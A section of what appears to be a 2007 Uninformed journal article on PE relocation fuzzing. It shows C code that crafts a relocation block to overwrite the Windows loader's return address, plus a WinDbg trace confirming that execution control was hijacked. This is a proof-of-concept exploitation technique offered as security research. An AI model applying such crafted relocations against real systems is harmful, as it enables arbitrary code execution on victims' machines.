Uninformed: Informative Information for the Uninformed

Vol 6» 2007.Jan


Hijacking the Dynamic Loader

Since the dynamic loader in previous tests proved to be capable of writing to areas of memory external to the executable binary, it makes sense to test to see if it's possible to hijack execution control. One method of approaching this would be to have the dynamic loader apply a relocation to the return address of the function used to process relocations. When the function returns, it'll transfer control to whatever address the relocations have caused it to point to. An example of this code for this test is shown below:

static VOID TestHijackLoader(
      __in PPE_IMAGE Image,
      __in PRELOC_FUZZ_CONTEXT FuzzContext)
{
   PRELOCATION_BLOCK_CONTEXT Block = AllocateRelocationBlockContext(1);

   PrependRelocationBlockContext(
         FuzzContext,
         Block);

   //
   // Set the RVA to the address of the return address on the stack taking into
   // account the displacement.
   //
   Block->Rva       = 0x0012fab0;
   Block->Fixups[0] = (3 << 12) | 0;
}

When a binary is executed that contains this relocation block, the dynamic loader ends up applying a relocation to the return address located at 0x13fab0. Obviously, this address may be subject to change quite frequently, but as a means of illustrating a proof of concept it should be sufficient. And, just as one would expect, the dynamic loader does indeed overwrite the return address and make it possible to gain control of execution:

(c88.184): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0001400a ebx=00014008 ecx=0013fab0 edx=80010000 esi=00000001
edi=ffffffff eip=fc92e10b esp=0013fac8 ebp=0013fae4 iopl=0 nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010246
fc92e10b ??              ???
0:000> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0013fac4 00010000 00261f18 7ffdc000 80010000 0xfc92e10b
0013fae4 7c91e08c 00010000 00000000 00000000 image00010000
0013fb08 7c93ecd3 00010000 7c93f584 00000000 ntdll!LdrRelocateImage+0x1d (FPO: [Non-Fpo])
0013fc94 7c921639 0013fd30 7c900000 0013fce0 ntdll!LdrpInitializeProcess+0xea0 (FPO: [Non-Fpo])
0013fd1c 7c90eac7 0013fd30 7c900000 00000000 ntdll!_LdrpInitialize+0x183 (FPO: [Non-Fpo])
00000000 00000000 00000000 00000000 00000000 ntdll!KiUserApcDispatcher+0x7